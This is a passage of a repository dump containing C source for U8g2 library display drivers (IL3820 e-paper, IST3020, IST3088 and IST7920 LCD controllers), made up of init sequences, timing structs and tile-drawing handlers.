295>>8), /* RAM y start & end */ //U8X8_CA(0x4e, 0), /* set x pos, 0..29? */ //U8X8_CAA(0x4f, 0, 0), /* set y pos, 0...320??? */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_il3820_to_display_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ /* 0x50, 0xAA, 0x55, 0xAA, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 measured 1582 ms */ U8X8_C(0x32), /* write LUT register*/ /* original values */ U8X8_A(0x50), U8X8_A(0xaa), U8X8_A(0x55), U8X8_A(0xaa), U8X8_A(0x11), U8X8_A(0x11), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), /* Timing part of the LUT, 20 Phases with 4 bit each: 10 bytes */ U8X8_A(0xff), U8X8_A(0xff), U8X8_A(0x3f), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_CA(0x22, 0x04), /* display update seq. option: pattern display, assumes clk and charge pump are enabled */ U8X8_C(0x20), /* execute sequence */ U8X8_DLY(250), /* delay for 1620ms. The current sequence takes 1582ms */ U8X8_DLY(250), U8X8_DLY(250), U8X8_DLY(250), U8X8_DLY(250), U8X8_DLY(250), U8X8_DLY(120), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_il3820_296x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_il3820_296x128_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_il3820_296x128_init_seq); u8x8_cad_SendSequence(u8x8, u8x8_d_il3820_296x128_powersave0_seq); u8x8_d_il3820_first_init(u8x8); /* usually the DISPLAY_INIT message leaves the display in power save state */ /* however this is not done for e-paper devices, see: */ /* https://github.com/olikraus/u8g2/wiki/internal#powersave-mode */ break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_il3820_296x128_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_il3820_296x128_powersave1_seq); break; case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_d_il3820_draw_tile(u8x8, arg_int, arg_ptr); break; case U8X8_MSG_DISPLAY_REFRESH: u8x8_cad_SendSequence(u8x8, u8x8_d_il3820_to_display_seq); break; default: return 0; } return 1; } /*=================================================*/ /* second version for the IL3820 display */ /* http://www.waveshare.com/wiki/File:2.9inch_e-Paper_Module_code.7z */ static const uint8_t u8x8_d_il3820_v2_296x128_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ // U8X8_CA(0x10, 0x00), /* Deep Sleep mode Control: POR: Normal mode */ U8X8_C(0x01), U8X8_A(295 % 256), U8X8_A(295/256), U8X8_A(0), /* the driving voltagesmust not be that high, in order to aviod level change after */ /* some seconds (which happens with 0xea */ U8X8_CA(0x03, 0x75), /* Gate Driving voltage: +/-15V =0x00 POR (+22/-20V) = 0x0ea*/ U8X8_CA(0x04, 0x0a), /* Source Driving voltage: (POR=0x0a=15V), max=0x0e*/ U8X8_CA(0x0b, 7), /* Set Delay of gate and source non overlap period, POR = 7 */ U8X8_CA(0x2c, 0xa8), /* write vcom value*/ U8X8_CA(0x3a, 0x16), /* dummy lines POR=22 (0x016) */ U8X8_CA(0x3b, 0x08), /* gate time POR=0x08*/ U8X8_CA(0x3c, 0x33), /* select boarder waveform */ U8X8_CA(0x11, 0x07), /* Define data entry mode, x&y inc, x first*/ U8X8_CAA(0x44, 0, 29), /* RAM x start & end, 32*4=128 */ U8X8_CAAAA(0x45, 0, 0, 295&255, 295>>8), /* RAM y start & end, 0..295 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_il3820_v2_to_display_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ /* 0xaa, 0x09, 0x09, 0x19, 0x19, 0x11, 0x11, 0x11, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x75, 0x77, 0x77, 0x77, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00 measured 1240 ms */ U8X8_C(0x32), /* write LUT register*/ /* https://github.com/olikraus/u8g2/issues/347 */ U8X8_A(0xaa), U8X8_A(0x09), U8X8_A(0x09), U8X8_A(0x19), U8X8_A(0x19), U8X8_A(0x11), U8X8_A(0x11), U8X8_A(0x11), U8X8_A(0x11), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), /* Timing part of the LUT, 20 Phases with 4 bit each: 10 bytes */ U8X8_A(0x75), U8X8_A(0x77), U8X8_A(0x77), U8X8_A(0x77), U8X8_A(0x07), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_A(0x00), U8X8_CA(0x22, 0x04), /* display update seq. option: pattern display */ U8X8_C(0x20), /* execute sequence */ U8X8_DLY(250), /* delay for 1400ms. The current sequence takes 1240ms, it was reported, that longer delays are better */ U8X8_DLY(250), U8X8_DLY(250), U8X8_DLY(250), U8X8_DLY(250), U8X8_DLY(150), /* extended, #318 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_il3820_v2_296x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_il3820_296x128_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_il3820_v2_296x128_init_seq); u8x8_cad_SendSequence(u8x8, u8x8_d_il3820_296x128_powersave0_seq); u8x8_d_il3820_first_init(u8x8); /* u8x8_d_il3820_second_init(u8x8); */ /* not required, u8g2.begin() will also clear the display once more */ /* usually the DISPLAY_INIT message leaves the display in power save state */ /* however this is not done for e-paper devices, see: */ /* https://github.com/olikraus/u8g2/wiki/internal#powersave-mode */ break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_il3820_296x128_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_il3820_296x128_powersave1_seq); break; case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_d_il3820_draw_tile(u8x8, arg_int, arg_ptr); break; case U8X8_MSG_DISPLAY_REFRESH: u8x8_cad_SendSequence(u8x8, u8x8_d_il3820_v2_to_display_seq); break; default: return 0; } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_ist3020.c ================================================ /* u8x8_d_ist3020.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2017, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" static const uint8_t u8x8_d_ist3020_erc19264_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a4), /* all pixel off, issue 142 */ U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ist3020_erc19264_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x0a5), /* enter powersafe: all pixel on, issue 142 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ist3020_erc19264_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a0), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ist3020_erc19264_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_ist3020_erc19264_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 150, /* IST3020 datasheet, page 56 */ /* pre_chip_disable_wait_ns = */ 150, /* IST3020 datasheet, page 56 */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 1, /* sda_setup_time_ns = */ 100, /* IST3020 datasheet, page 56 */ /* sck_pulse_width_ns = */ 100, /* IST3020 datasheet, page 56 */ /* sck_clock_hz = */ 4000000UL, /* */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* IST3020 datasheet, page 54 */ /* write_pulse_width_ns = */ 60, /* IST3020 datasheet, page 54 */ /* tile_width = */ 24, /* width of 24*8=192 pixel */ /* tile_height = */ 8, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 64, /* pixel_width = */ 192, /* pixel_height = */ 64 }; static const uint8_t u8x8_d_ist3020_erc19264_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0e2), /* soft reset */ U8X8_C(0x0ab), /* build in osc on, used in ER code, but not mentioned in data sheet */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x040), /* set display start line to 0 */ U8X8_C(0x0a0), /* ADC set to reverse */ U8X8_C(0x0c8), /* common output mode */ // Flipmode //U8X8_C(0x0a0), /* ADC set to reverse */ //U8X8_C(0x0c8), /* common output mode */ U8X8_C(0x0a6), /* display normal, bit val 0: LCD pixel off. */ U8X8_C(0x0a3), /* FIX: LCD bias 1/7, old value was 1/9 (0x0a2) */ U8X8_C(0x028|4), /* all power control circuits on */ U8X8_DLY(50), U8X8_C(0x028|6), /* all power control circuits on */ U8X8_DLY(50), U8X8_C(0x028|7), /* all power control circuits on */ U8X8_DLY(50), U8X8_C(0x020), /* v0 voltage resistor ratio */ U8X8_CA(0x081, 0x019), /* set contrast, contrast value (from ER code: 45) */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x0a5), /* enter powersafe: all pixel on, issue 142 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_ist3020_erc19264(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ist3020_erc19264_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ist3020_erc19264_init_seq); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_ist3020_erc19264_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_ist3020_erc19264_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ist3020_erc19264_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ist3020_erc19264_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int >> 2 ); /* st7567 has range from 0 to 63 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15))); u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)); c = ((u8x8_tile_t *)arg_ptr)->cnt; c *= 8; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; do { u8x8_cad_SendData(u8x8, c, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_ist3088.c ================================================ /* u8x8_d_ist3088.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2019, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. IST3088: 320x240 monochrome LCD, 16 gray levels with B/W mode https://github.com/olikraus/u8g2/issues/1887 CAD: 011 commands and arg/data are always 16 bit, MSB first */ #include "u8x8.h" /* powersave: maybe we could go to sleep mode, see register 3 */ static const uint8_t u8x8_d_ist3088_320x240_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CCAA(0x0, 0x07, 0x00, 0x01), // Display Control Bit 2: BW, 1: Invert, 0: Display enable U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ist3088_320x240_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CCAA(0x0, 0x07, 0x00, 0x00), // Display Control Bit 2: BW, 1: Invert, 0: Display enable U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ist3088_320x240_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CCAA(0x0, 0x01, 0x00, 0x00), // Driver Control, 1/240 Duty U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ist3088_320x240_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CCAA(0x0, 0x01, 0x00, 0x00), // Driver Control, 1/240 Duty U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; /*===================================================*/ static uint8_t u8x8_d_ist3088_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { //uint16_t x; int i; uint8_t y; uint8_t c; uint8_t *ptr; switch(msg) { /* handled by the calling function case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ist3088_320x240_display_info); break; */ /* handled by the calling function case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ist3088_320x240_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_ist3088_320x240_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_ist3088_320x240_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ist3088_320x240_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ist3088_320x240_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x00 ); u8x8_cad_SendCmd(u8x8, 0x05 ); u8x8_cad_SendArg(u8x8, 0 ); u8x8_cad_SendArg(u8x8, arg_int ); u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: /* x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; */ y = (((u8x8_tile_t *)arg_ptr)->y_pos); y*=8; u8x8_cad_StartTransfer(u8x8); c = ((u8x8_tile_t *)arg_ptr)->cnt; /* number of tiles */ ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; /* data ptr to the tiles */ for( i = 0; i < 8; i++ ) { u8x8_cad_SendCmd(u8x8, 0x0); u8x8_cad_SendCmd(u8x8, 0x8); u8x8_cad_SendArg(u8x8, y); u8x8_cad_SendArg(u8x8, 0 ); u8x8_cad_SendCmd(u8x8, 0x0); // write data u8x8_cad_SendCmd(u8x8, 0x9); // write data //c = ((u8x8_tile_t *)arg_ptr)->cnt; /* number of tiles */ u8x8_cad_SendData(u8x8, c, ptr); /* note: SendData can not handle more than 255 bytes, send one line of data */ ptr += u8x8->display_info->tile_width; y ++; } u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } /*===================================================*/ /* SdCmd(0x01); // driver control SdData(0x00); SdData(0x00); // c1-->c240 s1-->s240 duty=1/240 SdCmd(0x02); // driver control SdData(0x01); SdData(0x4c); //0x15 SdCmd(0x03); // power control SdData(0x00); SdData(0x70); // VC VR Vf=1 SdCmd(0x04); // power control SdData(0x04); SdData(0x61); //0x61 //1/14b SdCmd(0x05); // CT control SdData(0x00); SdData(0x6a); // 0X76 SdCmd(0x06); // CT control SdData(0x00); SdData(0x03); SdCmd(0x23); // B/W MODE,16G NEED REMOVE SdData(0x00); SdData(0x04); //04:mono SdCmd(0x28); // OSC SdData(0x00); SdData(0x0c); SdCmd(0x37); SdData(0x00); SdData(0x12); SdCmd(0x07); SdData(0x00); SdData(0x01); */ /* https://github.com/olikraus/u8g2/issues/1887 */ static const uint8_t u8x8_d_ist3088_320x240_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ /* disableLCD */ U8X8_CCAA(0x0, 0x07, 0x00, 0x00), // Display Control Bit 2: BW, 1: Invert, 0: Display enable U8X8_CCAA(0x0, 0x01, 0x00, 0x00), // Driver Control, 1/240 Duty U8X8_CCAA(0x0, 0x02, 0x01, 0x4c), // Polarity Control U8X8_CCAA(0x0, 0x06, 0x00, 0x03), // Entry mode: h/v increment //U8X8_CCAA(0x0, 0x04, 0x07, 0x61), // Power Control 2: 0x07: 1/16 Bias, Vout1 x 4 U8X8_CCAA(0x0, 0x04, 0x04, 0x61), // Power Control 2: 0x07: 1/16 Bias, Vout1 x 4 U8X8_CCAA(0x0, 0x05, 0x00, 0x6a), // Contrast, 0..255, U8X8_CCAA(0x0, 0x03, 0x00, 0x40), // Enable voltage converter U8X8_DLY(10), U8X8_CCAA(0x0, 0x03, 0x00, 0x60), // Enable voltage regulator U8X8_DLY(10), U8X8_CCAA(0x0, 0x03, 0x00, 0x70), // Enable voltage follower U8X8_DLY(10), U8X8_CCAA(0x0, 0x23, 0x00, 0x04), // Monochrome mode U8X8_CCAA(0x0, 0x28, 0x00, 0x0c), // Frame Rate Control U8X8_CCAA(0x0, 0x37, 0x00, 0x01), // Frame Rate Control U8X8_CCAA(0x0, 0x0d, 39, 0x00), // X End and X Start U8X8_CCAA(0x0, 0x0e, 239, 0x00), // Y End and Y Start /* enable LCD (will be done by powersave0) */ //U8X8_CCAA(0x0, 0x07, 0x00, 0x01), // Display Control Bit 2: BW, 1: Invert, 0: Display enable U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_ist3088_320x240_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 110, /* pre_chip_disable_wait_ns = */ 110, /* reset_pulse_width_ms = */ 10, /* post_reset_wait_ms = */ 10, /**/ /* sda_setup_time_ns = */ 110, /* */ /* sck_pulse_width_ns = */ 125, /* */ /* sck_clock_hz = */ 4000000UL, /* 250ns cycle, see page 49 of the IST3088 datasheet*/ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* 400KHz, IST8033 das not include a I2C interface */ /* data_setup_time_ns = */ 70, /* write_pulse_width_ns = */ 60, /* tile_width = */ 40, /* tile_height = */ 30, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 320, /* pixel_height = */ 240 }; uint8_t u8x8_d_ist3088_320x240(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_ist3088_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; switch(msg) { case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ist3088_320x240_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ist3088_320x240_display_info); break; default: return 0; } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_ist7920.c ================================================ /* u8x8_d_ist7920.c this is NOT ST7920! Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2019, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" static const uint8_t u8x8_d_ist7920_128x128_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x03d), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ist7920_128x128_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x03c), /* display off */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ist7920_128x128_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x064), /* Display Ctrl: Bit3: SHL 2:ADC 1:EON, 0:REV */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ist7920_128x128_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x068), /* Display Ctrl: Bit3: SHL 2:ADC 1:EON, 0:REV */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_ist7920_128x128_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 90, /* IST7920 datasheet, page 48 */ /* pre_chip_disable_wait_ns = */ 90, /* IST7920 datasheet, page 48 */ /* reset_pulse_width_ms = */ 10, /* post_reset_wait_ms = */ 20, /* IST7920 Startup Seq.. */ /* sda_setup_time_ns = */ 45, /* IST7920 datasheet, page 48 */ /* sck_pulse_width_ns = */ 130, /* IST7920 datasheet, page 48 */ /* sck_clock_hz = */ 3000000UL, /* IST7920 datasheet: 260ns */ /* spi_mode = */ 0, /* active high, rising edge (not verified) */ /* i2c_bus_clock_100kHz = */ 4, /* 400kHz according to IST7920 datasheet */ /* data_setup_time_ns = */ 60, /* IST7920 datasheet, page 47 */ /* write_pulse_width_ns = */ 150, /* IST7920 datasheet, page 47 */ /* tile_width = */ 16, /* width of 16*8=128 pixel */ /* tile_height = */ 16, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 128, /* pixel_height = */ 128 }; /* 1/128 Duty, 1/10 Bias, 128x128 round display */ static const uint8_t u8x8_d_ist7920_128x128_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x076), /* Software Reset */ U8X8_DLY(50), U8X8_C(0x03c), /* display off */ U8X8_CA(0x090, 128), /* Set Duty */ //U8X8_CAA(0x0b2, 0x011, 0x00), /* Set Frame Control */ U8X8_CA(0x030, 16), /* Set Bias 0: 1/8, 8: 1/9, 16: 1/10, 24: 1/11, 48: 1/12 ... */ U8X8_CA(0x031, 0x03f), /* Set voltage generate clock(31H/11H) */ //U8X8_CA(0x032, 0x015), /* Temperature compensation */ U8X8_CA(0x033, 0x020), /* Power Control */ U8X8_DLY(100), U8X8_CA(0x033, 0x02c), /* Power Control */ U8X8_DLY(100), U8X8_C(0xfd), /* set booster */ U8X8_DLY(100), U8X8_CA(0x033, 0x02f), /* Power Control */ U8X8_DLY(200), U8X8_C(0x064), /* Display Ctrl: Bit3: SHL 2:ADC 1:EON, 0:REV */ U8X8_CAA(0x074, 0x000, 0x00f), /* AY Window */ U8X8_CAA(0x075, 0x000, 0x07f), /* AX Window */ U8X8_CA(0x040, 64), /* Start line at 64 */ U8X8_CA(0x0b1, 100), /* electronic volume */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_ist7920_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: 